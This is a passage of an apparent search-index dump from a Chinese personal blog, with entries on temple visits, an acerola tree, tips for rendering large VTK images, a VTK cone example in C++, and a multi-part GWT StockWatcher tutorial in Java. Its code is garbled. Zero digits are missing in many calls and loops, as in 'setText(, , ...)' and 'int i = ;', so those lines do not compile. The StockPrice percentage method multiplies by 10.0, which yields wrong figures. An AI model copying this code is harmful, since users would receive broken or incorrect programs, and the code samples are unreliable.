只有提供免費的 Adobe Reader，要看 PDF 檔是沒有問題，但常常我們會需要對 PDF 檔做一些簡單的編輯，光靠 Adobe Reader 就沒有辦法處理，例如取出 PDF 檔中的某幾頁，或是將兩個 PDF 檔合併成一個 PDF 檔等，這些動作雖然簡單，但是 Adobe Reader 卻都沒有提供，有時也是很困擾。\u003c/p\u003e","title":"Linux 下編輯 PDF 檔的工具"},{"content":"這禮拜到台南崁頭山孚佑宮（仙公廟）去走走，因為崁頭山孚佑宮在山區，下了交流道又開了一陣子的山路才到，我們去的時候已經下午四、五點了，還好那天天氣不錯，沒有起霧，不然開車走山路很不好走。\n到了那裡上完香剛好是吃飯時間，廟裡的義工每天都會免費提供三餐素食給香客享用，我們去的時候，因為不是假日，所以人不多，吃起飯來很幽靜。\n孚佑宮有提供香客住宿的服務，那裡很清幽，環境很好，通常香客都會在那裡過夜，不過我們去的時候，已經客滿了，所以吃飽飯辦完了事就下山了。\n崁頭山孚佑宮環境不錯，後面也有崁頭山可以走走 ，這次去因為接近傍晚了，沒有時間去逛，下次再看看有沒有機會。\n這是樓下的觀音佛祖殿。\n這一次上來仙公廟有點匆忙，加上使用舊的 Olympus E-520 相機拍攝，介紹的不是很好，建議可以參考我後來第二次來崁頭山仙公廟所撰寫的文章，裡面有比較詳細的介紹。\n","permalink":"https://blog.gtwang.org/life/tainan-dongshan-fuyou-temple/","summary":"\u003cp\u003e這禮拜到台南崁頭山孚佑宮（仙公廟）去走走，因為崁頭山孚佑宮在山區，下了交流道又開了一陣子的山路才到，我們去的時候已經下午四、五點了，還好那天天氣不錯，沒有起霧，不然開車走山路很不好走。\u003c/p\u003e","title":"台南東山鄉崁頭山孚佑宮（仙公廟）"},{"content":"新營太子宮頂樓的無極大寶殿中供奉　原始玄玄上人，亦即　無生老(母)，左右分別為武法律主　文衡聖帝（關）與文法律主　孚佑聖帝（呂），入殿內必須脫鞋並保持肅靜。\n由於無極大寶殿是屬於先天殿，非常清靜，在此殿內坐著休息非常舒服，跟一般後天宮廟敲鑼打鼓的方式不同，在這裡的感覺與我們的先天佛壇很相似，可能因為供奉的都是　玄玄上人，所以給人的感覺很像。\n有些遊客喜歡在殿內靜坐。\n","permalink":"https://blog.gtwang.org/life/tainan-xinying-taizih-temple/","summary":"\u003cp\u003e新營太子宮頂樓的無極大寶殿中供奉　原始玄玄上人，亦即　無生老(母)，左右分別為武法律主　文衡聖帝（關）與文法律主　孚佑聖帝（呂），入殿內必須脫鞋並保持肅靜。\u003c/p\u003e","title":"台南新營太子宮，無極大寶殿"},{"content":"使用 VTK 處理影像時，時常會需要將影像資料以視覺化的方式呈現，但在記憶體無法容納全部的影像時，若直接繪製原始的影像，會對效能造成很大的影響，甚至無法將影像正確的繪製到螢幕上。\n這裡介紹一些在 VTK 中用來繪製大型影像的技巧，以下是一些處理大型影像時可以增加繪圖速度的方式。\n降低影像資料解析度（Resample）：\nvtkImageResample vtkImageShrink3D 只顯示部份影像資料（Extract Region of Interest）：\nvtkImageThreshold（ vtkExtractVOI vtkImageReslice 在繪圖時使用較快速的繪圖方式，例如以 Texture Mapping（vtkVolumeTextureMapper2D）代替 Raycasting（vtkVolumeRayCastMapper）。\n降低繪圖演算法的精確度：\nvtkVolumeTextureMapper2D-\u0026gt;SetMaximumNumberOfPlanes( 20 ); vtkVolumeRayCastMapper-\u0026gt;SetImageSampleDistance( 2.0 ); ","permalink":"https://blog.gtwang.org/programming/vtk-tips-for-large-images/","summary":"\u003cp\u003e使用 \u003ca href=\"/programming/vtk-visualization-toolkit/\"\u003eVTK\u003c/a\u003e 處理影像時，時常會需要將影像資料以視覺化的方式呈現，但在記憶體無法容納全部的影像時，若直接繪製原始的影像，會對效能造成很大的影響，甚至無法將影像正確的繪製到螢幕上。\u003c/p\u003e","title":"使用 VTK 處理大型影像之技巧"},{"content":"這是我家種的西印度櫻桃樹，因為沒施肥，所以只結了幾顆小櫻桃，雖然已經很紅了，但是我覺得吃起來還是很酸，而等到不會酸的時候，大概都給小鳥吃掉了，所以實際上是種漂亮的，不用想吃。\n櫻桃樹的枝幹很脆弱，很怕風吹，我們這顆櫻桃樹因為種在迎風面，所以樹幹都被吹斷，也難怪長得不是很好，不太會結櫻桃。\n","permalink":"https://blog.gtwang.org/agriculture/acerola/","summary":"\u003cp\u003e這是我家種的西印度櫻桃樹，因為沒施肥，所以只結了幾顆小櫻桃，雖然已經很紅了，但是我覺得吃起來還是很酸，而等到不會酸的時候，大概都給小鳥吃掉了，所以實際上是種漂亮的，不用想吃。\u003c/p\u003e","title":"[新竹南埔] 西印度櫻桃"},{"content":"VTK 視覺化工具函式庫（The Visualization ToolKit）是一個開放原始碼的物件導向軟體系統，由 Kitware 公司贊助開發，主要用於 3D 電腦繪圖、影像處理與視覺化運算等，VTK 內部是以 C++ 語言撰寫而成的，提供了各種語言的函式庫，例如：C++、Python、Tcl/Tk 與 Java。\n此函式庫包含各式各樣的視覺化演算法，例如：scalar、 vector、 tensor、 texture 與 volumetric methods，另外也支援各種 modeling，例如：implicit modeling、 polygon reduction、 mesh smoothing、 cutting、 contouring 與 Delaunay triangulation 等，除此之外還有數百種 2D 與 3D 的影像演算法。\nVTK 在醫學影像處理的領域中被廣泛的使用，以下是使用 VTK 函式庫撰寫而成的軟體：\nActiViz ParaView VolView Osirix 3D Slicer VisTrails 以下是使用 VTK所繪製出來的圖形，由這些圖形大致上就可以看出來其主要的功能為何：\n下面是一個簡單範例的 C++ 程式碼，畫出一個簡單的圓錐體：\n#include \u0026lt;vtkConeSource.h\u0026gt; #include \u0026lt;vtkPolyData.h\u0026gt; #include \u0026lt;vtkSmartPointer.h\u0026gt; #include \u0026lt;vtkPolyDataMapper.h\u0026gt; #include \u0026lt;vtkActor.h\u0026gt; #include \u0026lt;vtkRenderWindow.h\u0026gt; #include \u0026lt;vtkRenderer.h\u0026gt; #include \u0026lt;vtkRenderWindowInteractor.h\u0026gt; int main(int, char *[]) { //Create a cone vtkSmartPointer\u0026lt;vtkConeSource\u0026gt; coneSource = vtkSmartPointer\u0026lt;vtkConeSource\u0026gt;::New(); coneSource-\u0026gt;Update(); //Create a mapper and actor vtkSmartPointer\u0026lt;vtkPolyDataMapper\u0026gt; mapper = vtkSmartPointer\u0026lt;vtkPolyDataMapper\u0026gt;::New(); mapper-\u0026gt;SetInputConnection(coneSource-\u0026gt;GetOutputPort()); vtkSmartPointer\u0026lt;vtkActor\u0026gt; actor = vtkSmartPointer\u0026lt;vtkActor\u0026gt;::New(); actor-\u0026gt;SetMapper(mapper); //Create a renderer, render window, and interactor vtkSmartPointer\u0026lt;vtkRenderer\u0026gt; renderer = vtkSmartPointer\u0026lt;vtkRenderer\u0026gt;::New(); vtkSmartPointer\u0026lt;vtkRenderWindow\u0026gt; renderWindow = vtkSmartPointer\u0026lt;vtkRenderWindow\u0026gt;::New(); renderWindow-\u0026gt;AddRenderer(renderer); vtkSmartPointer\u0026lt;vtkRenderWindowInteractor\u0026gt; renderWindowInteractor = vtkSmartPointer\u0026lt;vtkRenderWindowInteractor\u0026gt;::New(); renderWindowInteractor-\u0026gt;SetRenderWindow(renderWindow); //Add the actors to the scene renderer-\u0026gt;AddActor(actor); renderer-\u0026gt;SetBackground(.3, .2, .1); // Background color dark red //Render and interact renderWindow-\u0026gt;Render(); renderWindowInteractor-\u0026gt;Start(); return EXIT_SUCCESS; } 其繪出的圖形為\n在 VTK 官方的 Wiki 網站上可以找到更多範例。\n","permalink":"https://blog.gtwang.org/programming/vtk-visualization-toolkit/","summary":"\u003cp\u003e\u003ca href=\"https://www.vtk.org/\"\u003eVTK 視覺化工具函式庫\u003c/a\u003e（The Visualization ToolKit）是一個開放原始碼的物件導向軟體系統，由 \u003ca href=\"https://www.kitware.com/\"\u003eKitware\u003c/a\u003e 公司贊助開發，主要用於 3D 電腦繪圖、影像處理與視覺化運算等，VTK 內部是以 C++ 語言撰寫而成的，提供了各種語言的函式庫，例如：C++、Python、Tcl/Tk 與 Java。\u003c/p\u003e","title":"VTK 視覺化工具函式庫（Visualization Toolkit）"},{"content":"在 StockWatcher：Google Web Toolkit(GWT) 入門 (二) 中已經將所有的使用者介面元件建立好了，接下來要建立元件的 event，讓這些原件可以有一些動作。\n處理客戶端的 Event 加入 Event Handler 在 GWT 中所使用的 event handler interface model 與其他的語言類似，要處理 Add 與 Remove 按鈕的 event，可以使用 ClickHandler，這裡我們使用匿名的類別來實做 ClickHandler，另外加入 KeyPressHandler，在按下 Enter 鍵時可以送出輸入的內容。\npackage com.google.gwt.sample.stockwatcher.client; import com.google.gwt.core.client.EntryPoint; import com.google.gwt.event.dom.client.ClickEvent; import com.google.gwt.event.dom.client.ClickHandler; import com.google.gwt.event.dom.client.KeyCodes; import com.google.gwt.event.dom.client.KeyPressEvent; import com.google.gwt.event.dom.client.KeyPressHandler; import com.google.gwt.user.client.Window; import com.google.gwt.user.client.ui.Button; import com.google.gwt.user.client.ui.FlexTable; import com.google.gwt.user.client.ui.HorizontalPanel; import com.google.gwt.user.client.ui.Label; import com.google.gwt.user.client.ui.RootPanel; import com.google.gwt.user.client.ui.TextBox; import com.google.gwt.user.client.ui.VerticalPanel; public class StockWatcher implements EntryPoint { private VerticalPanel mainPanel = new VerticalPanel(); private FlexTable stocksFlexTable = new FlexTable(); private HorizontalPanel addPanel = new HorizontalPanel(); private TextBox newSymbolTextBox = new TextBox(); private Button addStockButton = new Button(\u0026#34;Add\u0026#34;); private Label lastUpdatedLabel = new Label(); /** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(, , \u0026#34;Symbol\u0026#34;); stocksFlexTable.setText(, 1, \u0026#34;Price\u0026#34;); stocksFlexTable.setText(, 2, \u0026#34;Change\u0026#34;); stocksFlexTable.setText(, 3, \u0026#34;Remove\u0026#34;); // Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); // Assemble Main panel. mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel); // Associate the Main panel with the HTML host page. RootPanel.get(\u0026#34;stockList\u0026#34;).add(mainPanel); // Move cursor focus to the input box. newSymbolTextBox.setFocus(true); // Listen for mouse events on the Add button. addStockButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { addStock(); } }); // Listen for keyboard events in the input box. newSymbolTextBox.addKeyPressHandler(new KeyPressHandler() { public void onKeyPress(KeyPressEvent event) { if (event.getCharCode() == KeyCodes.KEY_ENTER) { addStock(); } } }); } /** * Add stock to FlexTable. Executed when the user clicks the addStockButton * or presses enter in the newSymbolTextBox. */ private void addStock() { final String symbol = newSymbolTextBox.getText().toUpperCase().trim(); newSymbolTextBox.setFocus(true); // Stock code must be between 1 and 10 chars that are numbers, letters, // or dots. if (!symbol.matches(\u0026#34;^[0-9A-Z.]{1,10}$\u0026#34;)) { Window.alert(\u0026#34;\u0026#39;\u0026#34; + symbol + \u0026#34;\u0026#39; is not a valid symbol.\u0026#34;); newSymbolTextBox.selectAll(); return; } newSymbolTextBox.setText(\u0026#34;\u0026#34;); // TODO Don\u0026#39;t add the stock if it\u0026#39;s already in the table. // TODO Add the stock to the table. // TODO Add a button to remove this stock from the table. // TODO Get the stock price. } } 從 49 行到 56 行是將 addStockButton 加入一個 ClickHandler，當 Add 按鈕被按下時，就會呼叫 addStock() 函數，而從 58 行到 65 行也是類似的做作用，當使用者按下 Enter 鍵時，則會呼叫 addStock() 函數。\n從 69 行到 92 行是新定義的 addStock() 函數，在使用者輸入資料後，會檢查資料是否正確。\n從第 4 行到第 9 行是新增的 import，通常使用 Eclipse 會提示你該新增哪一些。\n這裡我們使用匿名的類別來新增 Event Handler，這是因為這個 Event Handler 很簡單，若是較複雜的 Event Handler 則使用一般的方式定義類別會比較好。\n測試 Event Handler 將程式存檔後，就可以測試 Event Handler 了，若是輸入不用確的字串，則會出現錯誤的訊息：\n客戶端程式碼 接下來要加入在客戶端的程式碼，以便處理一些客戶端的動作：\n新增或移除 stock 資料。 定期更新 stock 資料。 顯示上次更新的時間。 新增資料結構 首先新增加一個資料結構，用來儲存使用者所輸入資料，我們直接使用 Java 的 ArrayList：\npublic class StockWatcher implements EntryPoint { private VerticalPanel mainPanel = new VerticalPanel(); private FlexTable stocksFlexTable = new FlexTable(); private HorizontalPanel addPanel = new HorizontalPanel(); private TextBox newSymbolTextBox = new TextBox(); private Button addStockButton = new Button(\u0026#34;Add\u0026#34;); private Label lastUpdatedLabel = new Label(); private ArrayList\u0026amp;lt;String\u0026amp;gt; stocks = new ArrayList\u0026amp;lt;String\u0026amp;gt;(); 依照 Eclipse 的提示加入必要的 import\nimport java.util.ArrayList; 在 Flex Table 中加入資料 修改 addStock() 函數。檢查使用者所輸入的資料是否重複：\n// TODO Don\u0026#39;t add the stock if it\u0026#39;s already in the table. if (stocks.contains(symbol)) return; 若資料沒有重複，則新增之：\n// TODO Add the stock to the table. int row = stocksFlexTable.getRowCount(); stocks.add(symbol); stocksFlexTable.setText(row, , symbol); 加入刪除 stock 的按鈕：\n// TODO Add a button to remove this stock from the table. Button removeStockButton = new Button(\u0026#34;x\u0026#34;); removeStockButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { int removedIndex = stocks.indexOf(symbol); stocks.remove(removedIndex); stocksFlexTable.removeRow(removedIndex + 1); } }); stocksFlexTable.setWidget(row, 3, removeStockButton); 測試新增/移除 Stock 存檔後，測試新增與移除 stock 的功能：\n定時更新資料 在傳統的網頁中若需要定時更新網頁中的資料，最常見的方式就是定時重新載入網頁，但這種方式會占用掉大量的資源，在 Web 2.0 的技術中，有更好的方式可以達到這樣的效果。\nGWT 中提供了 Timer 類別可以處理這種定時更新的需求，Timer 是一個單執行緒、跨瀏覽器的類別，它可以讓你在設定的時間點執行某一段程式。\n// Move cursor focus to the text box. newSymbolTextBox.setFocus(true); // Setup timer to refresh list automatically. Timer refreshTimer = new Timer() { @Override public void run() { refreshWatchList(); } }; refreshTimer.scheduleRepeating(REFRESH_INTERVAL); 依照 Eclipse 的提示加入 import\nimport com.google.gwt.user.client.Timer; 定義 REFRESH_INTERVAL，設定多久更新一次\npublic class StockWatcher implements EntryPoint { private static final int REFRESH_INTERVAL = 5000; // ms private VerticalPanel mainPanel = new VerticalPanel(); 在 addStock() 函數的結尾加上下面這行\n// TODO Get the stock price. refreshWatchList(); 最後在 StockWatcher 類別中加入一個方法：\nprivate void refreshWatchList() { // TODO Auto-generated method stub } 當 Timer 啟動時，它會去執行 run() 函數，這裡我們直接讓他呼叫 refreshWatchList() 函數，接下來我們要實做 refreshWatchList() 函數。\n包裝 Stock 資料 使用 GWT 可以加速往頁開發的原因在於其可以使用 Java 的方式開發，這裡我們使用一個類別來實做 stock 的資料，首先新增一個 Java 的類別，首先在 Eclipse 選擇 com.google.gwt.sample.stockwatcher.client，然後在選單列中選擇 File \u0026gt; New \u0026gt; Class：\n填入 Class 的名稱：StockPrice，剩下的使用預設的選項，按下 Finish。建立好了 StockPrice 類別之後，要撰寫其內部的程式碼，這是一個基本的類別，實作方式很簡單：\npackage com.google.gwt.sample.stockwatcher.client; public class StockPrice { private String symbol; private double price; private double change; public StockPrice() { } public StockPrice(String symbol, double price, double change) { this.symbol = symbol; this.price = price; this.change = change; } public String getSymbol() { return this.symbol; } public double getPrice() { return this.price; } public double getChange() { return this.change; } public double getChangePercent() { return 10.0 * this.change / this.price; } public void setSymbol(String symbol) { this.symbol = symbol; } public void setPrice(double price) { this.price = price; } public void setChange(double change) { this.change = change; } } 接下來我們使用隨機的亂數指定 stock 的資料，以實做 refreshWatchList()：\nprivate void refreshWatchList() { final double MAX_PRICE = 100.0; // $100.00 final double MAX_PRICE_CHANGE = 0.02; // +/- 2% StockPrice[] prices = new StockPrice[stocks.size()]; for (int i = ; i \u0026amp;lt; stocks.size(); i++) { double price = Random.nextDouble() * MAX_PRICE; double change = price * MAX_PRICE_CHANGE * (Random.nextDouble() * 2.0 - 1.0); prices[i] = new StockPrice(stocks.get(i), price, change); } updateTable(prices); } 再加上必要的 import\nimport com.google.gwt.user.client.Random; 在 StockWatcher 類別中加入一個 updateTable 方法，這個將用來更新 Flex Table 的內容：\nprivate void updateTable(StockPrice[] prices) { for (int i = ; i \u0026amp;lt; prices.length; i++) { updateTable(prices[i]); } // Display timestamp showing last refresh. lastUpdatedLabel.setText(\u0026#34;Last update : \u0026#34; + DateTimeFormat.getMediumDateTimeFormat().format(new Date())); } private void updateTable(StockPrice price) { // Make sure the stock is still in the stock table. if (!stocks.contains(price.getSymbol())) { return; } int row = stocks.indexOf(price.getSymbol()) + 1; // Format the data in the Price and Change fields. String priceText = NumberFormat.getFormat(\u0026#34;#,##0.00\u0026#34;).format( price.getPrice()); NumberFormat changeFormat = NumberFormat.getFormat(\u0026#34;+#,##0.00;-#,##0.00\u0026#34;); String changeText = changeFormat.format(price.getChange()); String changePercentText = changeFormat.format(price.getChangePercent()); // Populate the Price and Change fields with new data. stocksFlexTable.setText(row, 1, priceText); stocksFlexTable.setText(row, 2, changeText + \u0026#34; (\u0026#34; + changePercentText + \u0026#34;%)\u0026#34;); } 加入必要的 import\nimport com.google.gwt.i18n.client.NumberFormat; import com.google.gwt.i18n.client.DateTimeFormat; import java.util.Date; 最後存檔測試：\n這樣基本的程式部分就大功告成了！\n","permalink":"https://blog.gtwang.org/programming/stockwatcher-gwt-tutorial-3/","summary":"\u003cp\u003e在 \u003ca href=\"/programming/stockwatcher-gwt-tutorial-2/\"\u003eStockWatcher：Google Web Toolkit(GWT) 入門 (二)\u003c/a\u003e 中已經將所有的使用者介面元件建立好了，接下來要建立元件的 event，讓這些原件可以有一些動作。\u003c/p\u003e\n\u003ch2 id=\"處理客戶端的-event\"\u003e處理客戶端的 Event\u003c/h2\u003e\n\u003ch3 id=\"加入-event-handler\"\u003e加入 Event Handler\u003c/h3\u003e\n\u003cp\u003e在 GWT 中所使用的 event handler interface model 與其他的語言類似，要處理 Add 與 Remove 按鈕的 event，可以使用 ClickHandler，這裡我們使用匿名的類別來實做 ClickHandler，另外加入 KeyPressHandler，在按下 Enter 鍵時可以送出輸入的內容。\u003c/p\u003e","title":"StockWatcher：Google Web Toolkit(GWT) 入門 (三)"},{"content":"在 StockWatcher \u0026ndash; Google Web Toolkit(GWT) 入門 (一) 中我們已經建立了基本的 StockWatcher 專案，接下來要開始建立使用者介面。\n選取 GWT widgets 實做使用者介面 首先瀏覽 Widget Gallery 選擇網頁中所需要的使用者介面元件。\n在 Widget Gallery 中選擇使用者介面元件時，暫時不必考慮其樣式，現在只需要考慮其功能，隨後會使用 CSS 讓設計者自訂樣式。\nStock 資料表格(Data Table) GWT 提供了一個特別的元件 FlexTable，它會依照使用者的要求產生表格的欄位，因為我們不曉得使用者會加入多少 stock 的資料，所以使用 FlexTable，當使用者新增或刪除 stock 資料時，FlexTable 會自動將表格擴充或刪減。\n按鈕(Buttons) GWT 會盡可能的使用瀏覽器本身內建的元件來建立使用者介面，例如按鈕(Button)元件就會使用 \u0026lt;button\u0026gt; 來實做，而不使用 \u0026lt;div\u0026gt; 另外創造一個新的按鈕，這樣的好處是可以提供一個使用者熟悉的界面，並且在執行效率上也會比較好。\nInput Box GWT 提供了幾個可以讓使用者輸入資料的元件：\nTextBox：單行的文字輸入區域。 PassWordTextBox：一個隱藏輸入字元的 TextBox，主要用於輸入密碼。 TextArea：多行的文字輸入區域。 SuggestBox：一個可以顯示選項的文字區域。 StockWatcher 中使用者會需要輸入 stock code，因此需要加入一個 TextBox。\n標籤(Label) GWT 的 Label 元件式直接使用 \u0026lt;div\u0026gt; 實做的，其實做的方式是：\n\u0026lt;div class=\u0026#34;gwt-Label\u0026#34;\u0026gt;Last update : Oct 1, 2008 1:31:48 PM\u0026lt;/div\u0026gt; 選擇 Panel 排版使用者介面元件 現在我們已經決定好要使用哪些元件了，接下來要使用 panel 將這些元件排版在網頁上。\nHorizontal Panel Horizontal Panel 可以將元件以水平並排的方式呈現，這裡我們使用此 panel 將輸入的 TextBox 與 Add Button 並排。\nVertical Panel Virttical Panel 可以將元件以垂直並排的方式呈現，這裡用於除了輸入的 TextBox 與 Add Button 以外的元件。\nRoot Panel 在 GWT 中有一個隱藏的 root panel，所有在網頁中的動態原件都放在這個 panel 中，它是最上層的 panel，要使用 root panel 有兩種方式，一種是產生整個網頁 body：\nRootPanel.get(); // Default. Wraps the HTML body element. 另一種是產生特定的網頁元件內嵌至網頁 body 中：\nRootPanel.get(\u0026#34;stockList\u0026#34;); // Wraps any HTML element with an id of \u0026#34;stockList\u0026#34; 一個 host page 可以包含多個 root panels，例如將多個 GWT 元件內嵌至一個 host page 中，每個 GWT 元件都各自獨立，並且將其 root panel 內嵌至一個 host page 之中。\n將應用程式內嵌至 Host Page 要讓我們開發的應用程式在網頁上運作，必須先將其內嵌至網頁中，也就是 host page，這裡的 host page 就是 StockWatcher.html，預設上 host page 的 body 是空的，也就是說 root panel 會產生所有 body 的內容，包含 input box、文字標籤(\u0026quot;Please enter your name:\u0026quot;) 與 Send 按鈕，若是您的應用程式沒有任何靜態的元件，則您可以不需要更動 host page 的內容。\n但是在 StockWatcher 中有一些靜態元件，例如一些 header 文字、圖片等，與其他的動態元件，靜態元件可以直接加進 host page 中；而動態的元件則是使用 placeholder 的方式加入：在網頁中加入一個 \u0026lt;div\u0026gt; 元件，將其 id 設為 stockList，這樣的方式可以很方便的將 GWT 程式內嵌至其他的網頁中。\n接下來示範詳細的使用方式與程式碼：\n將 war 中的 StockWatcher.html 打開。 在 head 中更改 title 的內容，設成 StockWatcher。 在 body 中更改 \u0026lt;h1\u0026gt; 內容，設為 StockWatcher。 在 body 中增加一個 \u0026lt;div\u0026gt; 元件，並將 id 設為 stockList。 刪除其餘不必要的部分。 儲存 tockWatcher.html。 更改好的程式碼如下(不含註解)：\n\u0026lt;!DOCTYPE HTML PUBLIC \u0026#34;-//W3C//DTD HTML 4.01 Transitional//EN\u0026#34;\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta http-equiv=\u0026#34;content-type\u0026#34; content=\u0026#34;text/html; charset=UTF-8\u0026#34;\u0026gt; \u0026lt;link type=\u0026#34;text/css\u0026#34; rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;StockWatcher.css\u0026#34;\u0026gt; \u0026lt;title\u0026gt;StockWatcher\u0026lt;/title\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; language=\u0026#34;javascript\u0026#34; src=\u0026#34;stockwatcher/stockwatcher.nocache.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;StockWatcher\u0026lt;/h1\u0026gt; \u0026lt;div id=\u0026#34;stockList\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;iframe src=\u0026#34;javascript:\u0026#39;\u0026#39;\u0026#34; id=\u0026#34;__gwt_historyFrame\u0026#34; tabIndex=\u0026#39;-1\u0026#39; style=\u0026#34;position:absolute;width:0;height:0;border:0\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;noscript\u0026gt; \u0026lt;div style=\u0026#34;width: 22em; position: absolute; left: 50%; margin-left: -11em; color: red; background-color: white; border: 1px solid red; padding: 4px; font-family: sans-serif\u0026#34;\u0026gt; Your web browser must have JavaScript enabled in order for this application to display correctly. \u0026lt;/div\u0026gt; \u0026lt;/noscript\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 實做元件與 Panel 接下來我們會使用 GWT 元件與 panel 實做使用用者介面。\n若是您希望使用者介面在網頁一開始載入時就顯示，則必須將程式碼寫在 onModuleLoad 方法中。\n建立元件與 panel 開啟 com.google.gwt.sample.stockWatcher.client 中的 StockWatcher.java，將其內容以下面的程式取代：\npackage com.google.gwt.sample.stockwatcher.client; public class StockWatcher implements EntryPoint { private VerticalPanel mainPanel = new VerticalPanel(); private FlexTable stocksFlexTable = new FlexTable(); private HorizontalPanel addPanel = new HorizontalPanel(); private TextBox newSymbolTextBox = new TextBox(); private Button addStockButton = new Button(\u0026#34;Add\u0026#34;); private Label lastUpdatedLabel = new Label(); /** * Entry point method. */ public void onModuleLoad() { // TODO Create table for stock data. // TODO Assemble Add Stock panel. // TODO Assemble Main panel. // TODO Associate the Main panel with the HTML host page. // TODO Move cursor focus to the input box. } } 在 Eclipse 中程式碼的左邊應該會出現一些錯誤警告，這是因為這些類別還沒有定義。\n點選左邊第一個錯誤圖示，選擇 Import EntryPoint (com.google.gwt.core.client.EntryPoint)。其餘的錯誤圖示也是使用類似的方式處理。處理完成後，上方會多出一些 import 的程式碼：\npackage com.google.gwt.sample.stockwatcher.client; import com.google.gwt.core.client.EntryPoint; // Added by Eclipse import com.google.gwt.user.client.ui.Button; // Added by Eclipse import com.google.gwt.user.client.ui.FlexTable; // Added by Eclipse import com.google.gwt.user.client.ui.HorizontalPanel; // Added by Eclipse import com.google.gwt.user.client.ui.Label; // Added by Eclipse import com.google.gwt.user.client.ui.TextBox; // Added by Eclipse import com.google.gwt.user.client.ui.VerticalPanel; // Added by Eclipse public class StockWatcher implements EntryPoint { private VerticalPanel mainPanel = new VerticalPanel(); private FlexTable stocksFlexTable = new FlexTable(); private HorizontalPanel addPanel = new HorizontalPanel(); private TextBox newSymbolTextBox = new TextBox(); private Button addStockButton = new Button(\u0026#34;Add\u0026#34;); private Label lastUpdatedLabel = new Label(); /** * Entry point method. */ public void onModuleLoad() { // TODO Create table for stock data. // TODO Assemble Add Stock panel. // TODO Assemble Main panel. // TODO Associate the Main panel with the HTML host page. // TODO Move cursor focus to the input box. } } 建立 stock 資料表 增加一個可以存放 stock 的資料的 Table。使用 setText() 方法設定 table 的標題列：\npackage com.google.gwt.sample.stockwatcher.client; import com.google.gwt.core.client.EntryPoint; import com.google.gwt.user.client.ui.Button; import com.google.gwt.user.client.ui.FlexTable; import com.google.gwt.user.client.ui.HorizontalPanel; import com.google.gwt.user.client.ui.Label; import com.google.gwt.user.client.ui.TextBox; import com.google.gwt.user.client.ui.VerticalPanel; public class StockWatcher implements EntryPoint { private VerticalPanel mainPanel = new VerticalPanel(); private FlexTable stocksFlexTable = new FlexTable(); private HorizontalPanel addPanel = new HorizontalPanel(); private TextBox newSymbolTextBox = new TextBox(); private Button addStockButton = new Button(\u0026#34;Add\u0026#34;); private Label lastUpdatedLabel = new Label(); /** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(, , \u0026#34;Symbol\u0026#34;); // Added stocksFlexTable.setText(, 1, \u0026#34;Price\u0026#34;); // Added stocksFlexTable.setText(, 2, \u0026#34;Change\u0026#34;); // Added stocksFlexTable.setText(, 3, \u0026#34;Remove\u0026#34;); // Added // TODO Assemble Add Stock panel. // TODO Assemble Main panel. // TODO Associate the Main panel with the HTML host page. // TODO Move cursor focus to the input box. } } 要加入新的資料到表格中可以使用 setText() 方法，第一個參數是列，第二個參數是行，第三個參數則是要加入的資料。\n元件排版 接下來將組合兩個 panel 與各種元件：\npackage com.google.gwt.sample.stockwatcher.client; import com.google.gwt.core.client.EntryPoint; import com.google.gwt.user.client.ui.Button; import com.google.gwt.user.client.ui.FlexTable; import com.google.gwt.user.client.ui.HorizontalPanel; import com.google.gwt.user.client.ui.Label; import com.google.gwt.user.client.ui.TextBox; import com.google.gwt.user.client.ui.VerticalPanel; public class StockWatcher implements EntryPoint { private VerticalPanel mainPanel = new VerticalPanel(); private FlexTable stocksFlexTable = new FlexTable(); private HorizontalPanel addPanel = new HorizontalPanel(); private TextBox newSymbolTextBox = new TextBox(); private Button addStockButton = new Button(\u0026#34;Add\u0026#34;); private Label lastUpdatedLabel = new Label(); /** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(, , \u0026#34;Symbol\u0026#34;); stocksFlexTable.setText(, 1, \u0026#34;Price\u0026#34;); stocksFlexTable.setText(, 2, \u0026#34;Change\u0026#34;); stocksFlexTable.setText(, 3, \u0026#34;Remove\u0026#34;); // Assemble Add Stock panel. addPanel.add(newSymbolTextBox); // Added addPanel.add(addStockButton); // Added // Assemble Main panel. mainPanel.add(stocksFlexTable); // Added mainPanel.add(addPanel); // Added mainPanel.add(lastUpdatedLabel); // Added // TODO Associate the Main panel with the HTML host page. // TODO Move cursor focus to the input box. } } 結合 Root Panel 將 mainPanel 放進 root panel 中，並設定 focus 在 newSymboxTextBox 中。\npackage com.google.gwt.sample.stockwatcher.client; import com.google.gwt.core.client.EntryPoint; import com.google.gwt.user.client.ui.Button; import com.google.gwt.user.client.ui.FlexTable; import com.google.gwt.user.client.ui.HorizontalPanel; import com.google.gwt.user.client.ui.Label; import com.google.gwt.user.client.ui.RootPanel; // Added import com.google.gwt.user.client.ui.TextBox; import com.google.gwt.user.client.ui.VerticalPanel; public class StockWatcher implements EntryPoint { private VerticalPanel mainPanel = new VerticalPanel(); private FlexTable stocksFlexTable = new FlexTable(); private HorizontalPanel addPanel = new HorizontalPanel(); private TextBox newSymbolTextBox = new TextBox(); private Button addStockButton = new Button(\u0026#34;Add\u0026#34;); private Label lastUpdatedLabel = new Label(); /** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(, , \u0026#34;Symbol\u0026#34;); stocksFlexTable.setText(, 1, \u0026#34;Price\u0026#34;); stocksFlexTable.setText(, 2, \u0026#34;Change\u0026#34;); stocksFlexTable.setText(, 3, \u0026#34;Remove\u0026#34;); // Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); // Assemble Main panel. mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel); // Associate the Main panel with the HTML host page. 